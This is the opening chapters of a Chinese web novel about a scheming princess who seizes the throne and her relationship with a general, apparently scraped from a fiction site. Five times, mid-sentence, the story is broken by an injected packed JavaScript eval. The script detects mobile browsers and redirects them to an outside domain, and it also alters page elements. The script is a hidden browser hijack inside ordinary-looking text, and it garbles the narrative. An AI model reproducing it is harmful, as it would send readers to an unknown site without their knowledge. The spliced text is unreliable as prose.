《朕与将军解战袍gb》 1. 楔子 把阖眼沉思的陛下从回忆里拉出来,是一件困难的事情。 所以皇帝身边的贴身太监是个高危行业,尤其皇帝还是个喜怒无常的皇帝。 李富现在就有这种感觉。他尖着嗓子喊:“付将军求见——”的时候,看见那位年轻又冷艳的女皇微微抬眼,那双眼里布满了红丝,像染血的蜘蛛网,阴冷而锋利。 李富有一瞬间被这眼神吓得哆嗦了一下,转身瞥了眼殿外跪着的将军,真心实意地佩服付将军的胆量。 龙椅上的宋闻薰声音轻柔,在空旷的大殿里拉长,无端沾了些冰冷:“让他进来。” 殿门缓缓洞开,玄煞十二营元帅付清衣眉眼冷冽,一身玄甲,身上犹带着杀伐气。 他甲胄未卸,腰间配剑——这是大不敬,然而比起他后面的举动,这点儿不敬基本可以忽略不计。 他冷冷地看着面前的人,既没有下跪,也没有行礼,出口便是讽刺:“两千精兵折损在边境处,陛下真是好谋略。” 付将军真是一如既往的学不会委婉二字怎么写,李富被他脱口而出的这句话吓得脚软。偷眼瞄了下皇帝,却看见女帝并不动怒,只微微眯着眼,一如她年轻时,认真听夫子讲课的模样。 “拿两千精兵当诱饵,就为了拿下胡人的一个郡,值得吗?他们战死沙场的时候甚至还以为自己是为国捐躯,却不知自己是被你的野心所杀害!”付清衣战甲上还有血迹,他抱臂望着她,显得疲惫而尖锐,那双总是含笑的眼睛里空无一物,“我当初不应该帮你,你不配坐这张龙椅。” 宋闻薰表情未变,柔声笑道:“付将军,朕配或不配,都已经坐上了,朕允你殿前失仪,正是因为你当初帮过朕。换了其他人敢在朕面前说这番话,现在已经尸骨无存了。” 这是实话。李富想。上一个在陛下面前说话难听的是废太子,后来受万鼠噬心之刑,死得十分难看。 那位杀伐果断的女皇留着付清衣到现在,想来是有几分旧情的。 这明晃晃的警告都快糊到付清衣脸上了,也没有让目无王法的付将军让步,他像是听不懂陛下的意思,又像是在故意试探底线,依然执着地致力于挑起陛下的怒火。 “陛下的野心已经快把臣撑死了,臣只是一介武夫,不愿拿帐下数十万将士的命来成全你一人的幻梦!抵御胡人是你对着天下人撒的网,侵略别国,荡平域外才是你的目的。”付清衣扯出一个讽刺的笑来,拎着佩剑把玩着,饶有兴趣般对着自己的脖子比了比,语声温和,“陛下圣明,我祝您一统天下,坐拥山河,像个浑浑噩噩的疯子一样杀光域外人。” 他的眼眶乍然一红,额角上青筋跳了跳,有那么一瞬间,那滔天的怒火裂开了一个口子,露出里面苍白的悲哀:“你变了,陛下。臣就不碍您的眼了。” “那些将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450095|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士本就应该为朕效忠,他们死,是死得其所。” 宋闻薰面具般的冷静终于褪去,她的目光沉下来,像一条毒蛇缠绕在他身上:“你在威胁我。” “是。”付清衣不闪不避地和她对视,“臣除了这一条性命,没有其他底牌了。” 宋闻薰深深吸了一口气,忽然展颜一笑,笑意如春风拂面,晴雪初融,羞涩璀璨,曾经那个沉默温良的公主残影在她脸上一晃而过,付清衣不由得愣了一瞬。 在这电光火石的恍惚之间,不知从哪儿窜出来的几个隐卫强制按住他,将佩剑自他手里抢过,又在他的挣扎下将他绑起。 宋闻薰一步步走下龙椅,目光里那些明媚的笑意顷刻化作冰霜,她握住他的下巴,一字一顿道:“我能够给你兵权,也可以让你沦为禁脔。” 付清衣咬牙,一双冷锐的眼睛直直望向她,分明是杀意横生的一双眼,却隐约有水光闪动。 宋闻薰对上那双眼睛,脸上的笑意凝住了。她挥了挥手示意所有人退下,李富如蒙大赦,几乎是小跑着走的,关上殿门前他回头看了一眼,女帝捻着手中的毛笔,眼中泛起血红。 不知道为什么,他冷不防想起帝王登基那年,桂花飘香,付将军翻墙入宫,怀里揣着糕点,目光微赧,小声让他不要通报。 那时他关上殿门看见的最后一幕,是女帝从山高的奏折里抬眼,清亮的目光里盛满温柔笑意。 2. 来时路(1) 宋闻薰的母亲德妃不善争宠,她也就自小活得像个隐形人,尤其是在一堆皇子公主当中。上了年纪的皇帝目光从不会分她半点儿,一双混浊的老眼看着那些惯会讨巧的孩子们,挤出一个慈祥的笑容。 德妃着她的手再三叮嘱她:“阿薰,你记着,能明哲保身已经是天大的幸事了,千万莫搅和进那些混水里。” 宋闻薰便仰起头恭顺地笑:“母妃放心。” 皇宫里的人并不会因为你格外温驯就放过你,他们只会更肆无忌惮。 小时候,宫里那些皇子公主们还没有现在这么精明,踩低捧高的事情没少干,尤其是对这位最最谨小慎微的六公主。 宋闻薰是一团棉花,痛了也不吭声,吭声了也没人会管她,她被三公主推进小河里呛过水,被大皇子按着脑袋下过跪,被太子关在冷宫的偏殿里一整晚,疯了的弃妃扑上来,抓着椅子往她脑袋上砸,边砸边喃喃自语:“都去死……都去死……” 她满身是血,在冷宫里奔逃,嘶哑着嗓子朝门外喊:“救命!!救命!!” 没有人应她。 暗处的老鼠如潮水般聚过来,把她围堵在墙角,疯妃哈哈大笑,一步步朝她走来,她那一年只有十岁,站起来不过板凳高,被逼到绝境,反而逼出了一股狠劲,她抓起一边的石头趁着疯妃不注意砸过去,与滚落在地的她缠斗在一起,血液溅出来,宋闻薰眼里一片通红。 最后是德妃赤着脚去求皇帝,皇帝才有心思下了道旨把她接出来,他对太子没有一点儿惩罚,只轻飘飘地说,小孩子不懂事,薰儿受苦了。 出来的那一日,遍体鳞伤的宋闻薰不知哪里来的力气,一口咬在了太子手上,任凭宫人怎么撕扯都不肯松口,咬穿了皮,气得皇后命宫人掰开她的嘴,狠狠掌掴了她三十下,德妃匆匆赶到时,她半张脸肿得像个馒头,被人压在地上,一言不发。德妃泪眼婆娑地看着皇后,半晌,端端正正给皇后嗑了几个头赔罪。 皇后静静地盯着德妃,漫不经心地冷笑了一声:“长幼有序,尊卑有别,小公主不懂分寸,本宫替你教教她。” 德妃长发披散,眼中汪满了泪,白着一张脸,转过身狠狠抽了她一巴掌,哽咽着道:“快……快给皇后娘娘赔罪。” 宋闻薰被她抽得跪下,浑身都在发抖,余光中看见太子与三公主躲在皇后身后,朝她轻蔑地笑。 那一巴掌并不重,宋闻薰却觉得比之前的几十下都疼。 她顺从地低下头,重重叩在冰冷的地面上:“儿臣罪该万死,任凭母后责罚。” 皇后便笑起来:“是么?那便再去冷宫住一晚吧。” 德妃浑身颤抖地抬起脸:“娘娘……” 宋闻薰抬起眼,飞快地截断了她的话:“儿臣领罚。” 她擦干唇角的血迹,姿态端正地向皇后行了一礼,再直起身时,静静朝太子与三公主看了一眼,转身离开。 自那以后,宫人都晓得,六公主是个软柿子,好拿捏。连得势的太监都能当面刺她几句,她从不会吭声,只静静看着他们的脸,直到那张脸刻入她脑中。 她就这样度过了五年,直到那一年八月,天热得能把人烤化,因陛下难得夸了宋闻薰一句,她再次被三公主罚跪。 只有半个人高的小公主安安静静地跪在御花园里,滚烫的石阶将她的膝盖烫出一串血泡,然而再疼,她脸上依旧无波无澜,像一尊冰冷的雕像。 阳光晃得她头晕眼花,汗水已经打湿了她裙 子,一拧就能拧出水来。意识模糊时眼前一个青影子闪过,她被一个泛着竹香的怀抱笼罩,下意识往后挣扎了几下。 “抱歉,但你需要大夫。”少年感受到她的挣扎,立马放开了她,清晰温和的嗓音在耳畔响起,“你才多大就被卖进宫了?犯了什么事?” 她迷迷糊糊地抬眼,看清眼前这个比她大不了多少的少年。 少年身姿颀长,头发被一根杏色发带系在脑后,肤色白净,青色勾金衣袍衬得他气质洒脱,若松生空谷。一双凤眼看人时总带着三分笑意,满是骄傲不羁的少年气。 他把自己认成了宫女?宋闻薰心下冷笑,面上却温温柔柔的,她强撑着想要行礼,被少年一把扶起来:“承蒙公子关照,我是六公主,公子可唤我闻薰。” 少年一愣,赶紧松手,把公主认成宫女,他脸上却没什么尴尬神色,依旧笑吟吟的:“在下是定国公府的付清衣,天气炎热,公主似有中暑之态,冒犯了公主,公主恕罪。” “原是付公子,”宋闻薰脑子已经清醒了几分,唇边忙挑起一抹恰到好处的笑意,“无妨,触怒了三姐姐,在等她消气。” 定国公府一代将门,极受皇帝重用,大梁的江山能安稳地守住,老定国公功不可没。 付清衣皱了皱眉,说辞虽委婉,但是个人都听得出来三公主在罚她。明明同是公主,待遇和地位却天差地别。 “你与她同为公主,本不必受这些苦。”付清衣将她扶起来,冷哼一声,压低了声音,“得了,她什么人我还不了解,肯定是她欺负你,对不对?” 三公主是皇后的女儿,也是最受皇帝疼的一个女儿,自幼被娇惯出了一身的脾气,死在她宫里的人不计其数。他这样口无遮拦,还真是胆大包天。 宋闻薰忍不住笑了一下,又很快绷住,柔声道:“……嗯。” “别管她。”付清衣递给她一只手,慢慢扶她起来,拍了拍她的肩膀,“你那位姐姐虽受宠爱,但脾气大得能上天。你别跪了,我这就帮你去和陛下求情。” 宋闻薰一怔,推脱道:“不必……” 付清衣朝她眨了眨眼,很默契地笑道:“放心,保证不让你那位三姐姐知道。” 阳光金粉一样洒了他满身,他在树影中朝她招手,极亮的一双眼睛,神采飞扬。宋闻薰站在原地,沉默地注视着他远去。 也许是瞧她可怜,付清衣只要进宫便会偷偷来找她。一来二去,二人逐渐熟悉了不少,付清衣给她带宫外的点心,讲瓦肆间的趣事,把削铁如泥的宝剑塞给她玩儿,极力逗得宋闻薰在他面前露出一点真心的笑意。 随着长大,宋闻薰依旧是容易被忽略的公主,一天比一天沉敛,而付清衣已经成为了最受器重的少年将才,未来的大将军,少年得意,疏狂不羁。 三公主喜欢他的脸,太子也有意撮合他们,能把付清衣招揽成太子党,皇位几乎是稳稳当当在手。 三公主想要的东西没有不到手的,除了付清衣。她频繁召付清衣进宫,换着花样找他去打马球、赏花、听曲……这些活动都是以宫廷集会的名义展开,连宋闻薰也会来。 这一日的马球赛,宋闻薰与他们撞上了,她隔着几米远遥遥看他们一眼,然后垂下头轻轻唤一声见过三姐姐与付公子。 三公主宋景秀看了半天,终于认出这是自己那个六妹妹,宋闻薰这几年愈发没意思,不管是抢她东西、罚她下跪还是推她落水,她都没有反应,简直毫无骨气,弄得宋景秀连欺负人的快乐都没有,也懒得再捉弄她。 她没太在意宋闻薰,只一把抓住付清衣的胳膊,命令道:“这局马球赛你得跟我,不然我赢不了哥哥。” 付清衣讨厌束缚,他被召进宫拘着,早就不爽了,这下立刻皱了眉,不太客气地把宋景秀的手薅下来,声音懒洋洋的,带着一点儿挑衅:“公主的手应该握着马球杆。” 宋景秀的脸色沉下来,从来没人敢拒绝她,她盯着付清衣,道:“如果本宫非要抓着你呢?” 付清衣眉毛微抬,当着她的面把手中的马球杆远远地扔出去,不偏不倚地擦着远处太子的肩膀飞过去,太子一怔,转头看过来,就见自己的妹妹一脸怒气,他晓得妹妹的脾气,眼下并不能得罪付家,于是走过来打圆场:“舍妹顽劣,付小将军见笑了。” 宋景秀气得脸都红了,她并不肯轻易罢休,一定要付清衣作陪。付清衣也不再兜圈子,他冷淡又嘲讽地看着宋景秀,问:“如果臣就是不愿呢?” “放肆!”宋景秀气得顾不上公主的仪态,指着他叫道,“我要去告诉父皇和母后!你以下犯上,我要叫母后罚你!” “三姐姐。” 一道柔美的嗓音突然插进来,居然是一直谨小慎微的宋闻薰,所有人都是一愣,齐刷刷朝她看来。 宋闻薰面不改色,弯起眼睛温柔笑道:“三姐姐金尊玉贵,何须与有眼无珠的粗野武夫计较,以三姐姐的风姿,场上多的是抢着与三姐姐一同比赛的公子。” 她这么一夸,宋景秀虽然余怒未消,但嘴角已经开始上扬:“这是自然。” 宋闻薰微笑,施施然走到场中,对在场的其他公子颔首,声音不大,却正好能让所有人听见:“三公主想要一个与她一起比赛的人,愿意的公子不妨比试一场,胜者才有资格站在公主身侧。” 那可是三公主,皇上与皇后的掌上明珠,若能得了她青眼,将来必然仕途通达,荣耀加身。一时间那些世家公子们纷纷摩拳擦掌,战成一团。 此举极大地取悦了宋景秀,她享受这种众星捧月的感觉,一时间注意力被场上的比赛吸引,瞥了一眼油盐不进的付清衣,冷哼一声,不再纠缠,转头走了。 宋闻薰不着痕迹地松了口气,刚要离开,被太子叫住。 太子从小就讨厌这个妹妹,她的眼睛太黑,有某种他不喜欢的东西,他直觉地排斥她,之前把她关进冷宫,她出来后发疯的模样还历历在目。今天她虽解了围,但这种反常的举动还是令他警惕。 太子阴沉地打量着她与付清衣:“六妹妹什么时候这么热心了?” 付清衣皱起眉,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450096|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前一步刚想替她说话,就见宋闻薰反射般连退几步,与他拉开很远的距离。 宋闻薰不看他,只是看着太子,平静地回答:“三姐姐心情不好就会拿我出气。” 这倒也说得通,要不是为了自保,她哪儿来的胆子插嘴。太子收回目光,不再关注她。 宋闻薰转头,这才与付清衣对上视线,付清衣朝她作了个“谢谢”的口型,宋闻薰的眸子温凉如水,目光只在他脸上停留了一小会儿就克制地移开,不言不语,转身走入无边的宫墙。 朱红的宫墙下,付清衣站在原地,看着她渐行渐远的背影,零落的夕阳挂在她单薄的肩膀上,高高的宫门缓缓合上,那个柔弱而纤细的背影消失在一片苍凉的秋色里,像一只被困在樊笼里的孤鸟。 良久,他叹了口气。 这不远不近的距离直到那一年的中秋被彻底打破。皇帝照例是要大宴臣子的,满宫熙熙攘攘,热闹极了。 晚宴持续时间很长,众人觥筹交错,谈笑风生,付清衣趁着众人不注意,笑着从怀里抽出一段桂花枝,从桌子底下递给了宋闻薰。 宋闻薰瞪圆了眼,惊诧地抬眼看他,她脸上极少露出这种表情,像是水墨画上添了油彩,瞬间生动起来。 付清衣举起酒杯挡住下半张脸,掩盖自己脸上的笑意。 半个时辰后,御花园一处偏僻的角落里,宋闻薰慢慢走过去,被人一把抓住手。 宋闻薰试图挣扎,发现这厮的力气很大,压根儿抽不出手。鼻尖上传来一股清淡的桂花香,混着一丝淡淡酒香,她无奈又好笑地道: “付公子,你这举措与礼不合!” “我说殿下,你和我相识这么久,见我什么时候守过规矩?”见她还要挣扎,付清衣干脆利落地一把把她抱起来,动作娴熟得仿佛在心里排练过无数次,“你胆子真小,我来这里踩点过,没人会来,放心吧。” 伸手不见五指的角落里,竟有桂花香气扑鼻,莹润的花藏在肥厚的绿叶深处,摇曳出满庭的月光。 付清衣抱着她翻过假山,指着眼前偌大的桂花林笑起来:“就算你一天到晚待在皇宫里,肯定也不知道这个地方。” 宋闻薰的情绪已经许久没有这么波动过,她又气又恼,白皙漂亮的脸上泛起一些红晕来:“你官大,胆子怎么也跟着大了?” “你平时都不理我。我只好这样约你过来啊。”付清衣狡黠地弯着眼睛,“我还没问你呢,为什么躲着我?” 宋闻薰自知理亏,顿了顿,小声说:“没躲着你,就是觉得你现在官大,周围全是想攀上你的人,又不缺我一个。” 付清衣低头看她,听见了这样的回复,眼睛一下子亮晶晶的:“谁说我不缺?” “……没人。”宋闻薰被他的目光看得心里一跳,她扭头就要走,被身后的人一把扯住。 “我们家殿下口是心非的本领早不是一天两天了。”付清衣得逞地揉了揉她的脑袋,“阿薰,你这性子真是十年如一日。” “……胡说。” “那你想不想我不理她们?” 宋闻薰咬着唇瞪了他一眼:“不想。” 付清衣扬起唇,白皙的指搭在她手上,笑得顽劣又开朗:“真不想啊?那我去找别人?” 宋闻薰盯着他狡黠的笑容,忽然觉得牙痒痒,骨子里的控制欲翻滚上来,她不甘示弱地挑了挑眉,学着那些登徒子的模样用另一只手勾起了他的下巴。 玩火自焚的付清衣笑容一凝,还没等他反应过来,宋闻薰也不知哪里来的力气,直接将他抵在了假山上。 “阿薰……” 付清衣的表情一时间十分精彩,怕伤了她没敢动弹,不料她越发得寸进尺,葱白的指尖摩挲着他滚动的喉结,又一点点探入他的衣领。 付清衣做梦都想不到循规蹈矩的宋闻薰居然能这么出格,浑身僵硬,凤眼里漫上一层薄雾,嘴上还不示弱:“我可是黄花大闺男,非礼勿视啊公主。” 宋闻薰的手摸到他喉结,像是觉得好玩,捏了捏,见他反应剧烈,忍不住又用了几分力,惹得付清衣软了腰,差点没站稳,他喘着气握住她的手,脸已经红了一大片:“殿下,我这没名没分的,经不起你调戏。” “是你先开始的。”宋闻薰的唇瓣贴在了他喉结处,一双清凌凌的眼睛很专注地看着他,“我会给你名分的,清衣。” 要了命了。付清衣被她看得脸上一热,感觉脑海里的某根弦乍然断开,这位惯来放肆逍遥的贵公子居然一下子手足无措起来,他伏在宋闻薰肩上,把脸埋进她领口,试图挡住自己控制不住的嗓音。 “呜嗯……” 桂花叶被淅沥的雨水打湿,香气愈发纯粹馥郁,在瑟瑟秋风里,不堪承受般颤抖。 深秋了,再往前一步,便是隆冬。 3. 来时路(2) 时光飞逝,宋闻薰搬去公主府那年,付清衣已经率军几度去了前线。 他们时常飞鸽传书,宋闻薰照例小心谨慎,她改变了字体,写给他的信中规中矩,极尽克制,无非是说些王府里宫廷里的琐事,偶尔会轻描淡写地提一提皇后死了,姜丞相入宫,三公主病逝,太子身陷囹圄,进退维谷。 只在信的结尾,她会勾勒出宫门前的桂花枝,附上一句话: “今日花开得甚好,只可惜你不在。” 付清衣的来信就详细了很多,他的笔迹潦草狂放,一看就知道是战场上忙里抽闲匆匆写就的,内容比宋闻薰的有趣许多。什么边疆的烤肠、大漠的狼烟、胡人狼狈逃窜的姿态……恨不得把所有好玩儿的都告诉她,信中还会抱怨两句老元帅的严苛,形容那位老元帅的脸像块核桃,一看见胡人便皱起来,加把火炒一下就能入口。北疆的烧刀子酒卖相不好,但一口灌下去又辣又香,待平定叛乱,就带她一起来尝尝。他最近新得了一把小匕首,平日里可以收缩进去随身携带,很适合她…… 他偶尔也会严肃一次,叮嘱她千万别掺和政事,当个闲散公主,时局不稳别被牵连。 宋闻薰每次看他的来信都会忍不住笑起来,那信中的内容在心里翻江倒海地过了几遍后,又被她用烛火点着,暗藏着的情愫被火舌吞没,化成细小的灰烬。 她给他的信中没有提到,其实这不稳的时局是她一手促成的。 她从来不想当什么闲散公主,她想坐上那把象征着权力与地位的椅子,不用受欺辱,她还想光明正大地牵着他的手走在御花园里,向全天下宣誓他是自己的。 这几年,太子与五皇子争权,她这个不受宠的公主早被人遗忘到了九霄云外,反倒适合培养势力。宋闻薰慢慢有了亲信,发展出暗卫,花心思结交了太医慕行止,借着五皇子的名义毒杀了宋景秀,引得皇后与太子大怒,不多时,五皇子被流放千里。 宋景秀下葬那日,宋闻薰一身缟素,将一只白菊花放在她这位作威作福了半辈子的姐姐墓前,垂眸,素白的脸上慢慢浮现出转瞬即逝的一点笑意,像是波澜不惊的水面上一闪而过的光。 更远处,皇后被人扶着,在女儿棺木前哭得肝肠寸断,太子低着头,默默不语。 宋闻薰静静地看着他们,太子若有所觉地抬头,对上了宋闻薰的眼睛。 那双令他讨厌的漆黑眼睛。 五皇子虽被流放,但毕竟还有一些势力,他怀着对皇后与太子的满腔仇恨,一心复仇。宋闻薰派人主动寻上了他。 没有人会提防这个不声不响的公主,五皇子把自己的残余势力交给宋闻薰,命她在京城听自己调配,宋闻薰笑盈盈地答应下来。 她下一个目标是姜丞相,她母亲德妃的弟弟,皇后攥在手中的一枚棋子。 大年初一,德妃进府看望她,给她带了热腾腾的饭菜。那位终年满面愁苦的妃子抱着她,一声声地抽噎,嘶哑着喉咙,一句一句地念叨。 孩子,你怎么就变成这样了啊。 德妃无意中知道了她做出的这些事情,在母家和她之间,选择了母家,与太子结盟。 她以为母亲爱她,因此从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450097|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未提防过她的母亲。 太子循着德妃留下的线索终于发现端倪,刺客在深夜闯进府中欲杀她,雪落满肩,刀光乍泄,她盯着德妃,冷淡地笑了一下。 那是她第一次卸下伪装,露出锋利的獠牙。豢养的四百隐卫倾巢出动,杀意滔天。 德妃与刺客的尸骨被一同埋在雪地里,鼻尖凝绕着未散的血腥气,她的泪从脸颊滑落,看着赶到的陛下,她“扑通”跪了下来,以头怆地,哽咽不止: “陛下,有人要害我们母子……” 德妃的死成了一把刀,陛下大怒,姜丞相遭受打击,闭门不出,她乘机将德妃的死栽赃成工部尚书所为,砍断了太子的左膀右臂。 她穿着白色单衣,顶风冒雪去看望姜丞相,仿佛是真心实意地难过:“舅舅,母亲死了,我只剩下你了。” 姜丞相青紫的唇哆嗦着,慢慢抬起头,艰难地看着她:“薰儿,从前我效忠皇后,事事不敢忤逆她,他们居然……居然还不肯放过我们!你是姐姐唯一的子嗣,你小的时候,姐姐就一直担心你,她想让你平安地活着,可……可总是办不到。” 宋闻薰的睫毛颤了颤,没有说话。 姜丞相深深呼出一口气,脸上的沟壑更深了,他道:“薰儿,你还有舅舅,舅舅会让你平安活着。” 走出丞相府时,暗红色的琉璃瓦被积雪覆盖,白茫茫一片。宋闻薰停下脚步,仰头看着落下的雪,想,冬天太冷了,幸好他待在北疆,不必沾染长安的风雪。 不知他回来的时候,会不会像德妃一样问她,你怎么变成了这样。 4. 西出阳关(1) 隆冬刚过,满宫上下却没有过完年的喜气,今年大约是老皇帝命里犯太岁,在他体力日益衰弱的时候,蛮夷大举入侵中原。 边疆的风带着寒气,付清衣就着热酒吃完冷硬的馒头,还没来得及歇一会儿,部下便匆匆赶过来,高声喊:“报——长安有贵人来此勤军!” “呸。”付清衣凤眼微抬,冷哼一声,懒洋洋地拎起剩下的小半壶酒,“最烦那群来勤军的公子哥了,什么都不懂偏爱指手画脚,还得分出兵力护着他们,就说我肩伤未愈,让太尉和他们假惺惺聊天去吧。” “此次来的同往常不一样,是陛下亲封的辽远王——六公主殿下,将军可莫要得罪了她……” 部下话还没说完,就看见刚刚还拽得二五八万死活不愿意去的付小将军翻身从大账里跳起来,酒壶落地,噼里啪啦一声脆响。 “你说谁?” “六……六公主。” 像是被人当头打了一棒,付清衣方才的那点不耐烦顷刻烟消云散,他一把扯开帘子,狐裘都来不及披便扑进风雪里,白茫茫的雪落在他眉上,他有些茫然地想,她怎么会来?又怎么会策封了辽远王?前线那么危险,她要是受伤了怎么办? 越想越乱,他干脆翻身上马,一路飞奔来到太尉帐前。枣红色的骏马长嘶一声停下,一片肃杀的军营里,红衣黑发的女子微微昂着头。不知是不是天气太冷,她面色苍白,正含笑对老太尉说着什么,听见响动,下意识转过身来。 沧海桑田。付清衣清晰看见她的笑意凝在唇角,所有动作在一霎那僵硬。 付清衣坐在马上,怔怔瞧着她。她长开了,五官比从前更柔美鲜妍,酷似德妃,唯独那双曾经笑意嫣然的眼睛,如今冷厉得像一把被磨过千万遍的宝剑,看人时深邃乌黑,令人窥不透一丝情绪。 宋闻薰望着他,那双漆黑的眸子里倒映出他的模样,动了动唇,像要说什么,又最终什么也没说。 老太尉招呼他:“愣着干什么?快过来,见见六殿下。六殿下,这就是付小将军。” 没见到她时,付清衣只觉得有千言万语要和她讲。等真的见到了,付清衣的脑子仿佛被粘稠的浆糊浇了一遍,良久,才涩然道:“……你怎么会来?” 宋闻薰没有回答这个问题,而是朝他行了个礼,摆出见陌生将领的姿势,客套地笑道:“原是付小将军,本王从前与将军见过,不想将军还记得。” 付清衣一腔滚烫的相思被这寥寥数语冻得一颤,方才意识到,久别重逢,她现在不再是那个不受宠爱、会与他说笑的小公主了,而是他必须仰望的、天子亲封的辽远王。 他们周围有无数眼睛盯着,他不能因为一己私欲连累她。 他沉默片刻,弯了弯嘴角,也恭恭敬敬地弯下腰:“参见六殿下。” 宋闻薰的目光蜻蜓点水般掠过他,复又转向老太尉,表示自己暂且告辞,希望付小将军有空,可以同自己叙叙旧。 付清衣冲她眨了眨眼睛,笑道:“谨听殿下吩咐。” 这天夜里,一道黑影子越过重重把守,悄无声息地窜进辽远王的大帐。 宋闻薰刚点上香炉,火苗子颤得厉害,她警惕地蹙了眉,一只手慢慢移到身侧,握住了袖中的匕首。 “殿下,月黑夜风高,在下冒着生命危险来瞧你,就别拔刀了。” 清亮的嗓音刻意压低,含着春风拂面般的笑意,她猛然回头,望见付清衣站在窗边,鬓间落雪,一双凤眼里水波潋滟。 “你……”这回轮到宋闻薰语塞了。 她在长安机关算尽,面对着文臣武将各种瞎话张口就来,自以为自己已经练出来了一副从容不迫的面具。这一刻却发现自己的心跳陡然加快,仿佛要从嗓子眼里蹦出来,手心里冒出一层薄汗。 她掩饰般清了清嗓子,努力让自己显得有出息一点儿:“你一身夜行衣跑过来,不觉得像歹人么?” 付清衣促狭地看着她,坦荡荡道:“我就是歹人啊,不劫财,劫色。” 白日里,众目睽睽之下,宋闻薰尚能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450098|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保持面不改色,现在朝思暮想的人就在眼前,她忽然发起抖来,前所未有的恐惧笼罩了她,她忍不住想,他知道我杀了那么多人吗? 付清衣觉察出不对,上前一步:“怎么啦?” “……没事。”宋闻薰垂眼,“太久没见你,你瘦了许多。” “士别三日,当刮目相待。殿下也变了许多。”付清衣随口打趣道。 不料宋闻薰的脸色陡然惨白,她慌乱地连退几步,甚至不慎碰翻了香炉。 “嘭——” 外面的士兵高声问:“殿下,怎么了?” “无妨。”宋闻薰勉力压下那些情绪,道,“你们退下吧。” “是。” 安静在大帐中蔓延,昏黄的灯光下看不清付清衣的神色,他的目光落在宋闻薰身上,压得她喘不过气来。过了许久,才听见付清衣温柔的嗓音:“在下的美色竟让阿薰如此神魂颠倒吗?” 宋闻薰一颗落入谷底的心乍然被捞了起来,不上不下地吊在那里。她看着付清衣的眼睛,忽然不想想那么多了。 她一把抱住了他,长长叹了一口气。 少女柔软白皙的脸倚靠在他肩上,吐息温热,一只手轻轻搭在他腰侧,半眯着眼睛,像一只毫无攻击力软绵绵撒娇的猫。 只有付清衣知道这只猫的爪子有多不老实。桂花林那次,他困在假山后头,迷迷糊糊总不清醒,像在云端浮沉,还被强迫着说了许多求饶的胡话,第二天腰腿便酸疼得厉害。 “……阿薰。”付清衣嗓子有些干,“这里是军营。” 宋闻薰低低笑了:“怎么?付小将军怕了?” 付清衣喉结滚动,腰肢已经下意识绷紧了,吐息灼热,却还强撑着理智道:“万一被人听见了,有损阿薰清誉。” 她用力将他抵在床上,温声笑道:“那就不要喊出声。” ………… 第二天,本该早起练兵的付清衣破天荒地向老太尉告假,表示自己不慎闪了腰,需要休息半日。 5. 西出阳关(2) 宋闻薰去找了老元帅,风雪漫天,她踏着一地琼玉走进粗布帅帐里,眉眼艳得仿佛雪地里盛开的红莲,偏偏比霜雪还冷。 “殿下怎么来了,快请坐。”老太尉正在帐中点灯看兵书,看见她这满身寒气地走进来,赶紧站起来行礼,被她拦住,“余太尉,不必。孤此来只是问您一个问题。” “付将军左肩是不是前月中了一支毒箭?” 太尉一愣,他虽常年驻守边疆,却也在朝廷里摸打滚爬了半辈子,一见宋闻薰不同寻常的神色,猜也猜出了她几分心思。 “是。这孩子性子倔,只休息了半月便又领兵出战,劝都劝不住。”老太尉脱口而出才觉察出不对,端详着宋闻薰的脸色,顿了顿,又讪讪添了一句,“不过军医已经看过了,没什么大碍,殿下且宽心,将士们受伤是常有的事。” 付小将军出息得很,已经学会骗人了。 宋闻薰蹙了蹙眉,前月她特地寄书问他有无受伤,当时付清衣轻描淡写地回道:“在下所向披靡,群鼠逃还来不及。” 付清衣的来信总是轻松诙谐,仿佛他不是去打仗而是去边疆玩儿的,她看过了信也就没起疑心。只是昨夜她发觉,在碰到他左肩时,他迷蒙的目光会忽然清醒一霎,身体绷得像一张被拉到极限的弓,原本半推半就的反抗动作仿佛一下子脱了力,像一汪满溢的春水般软下来。 她假装无意地触碰了那里好几次,付清衣总是这个反应。 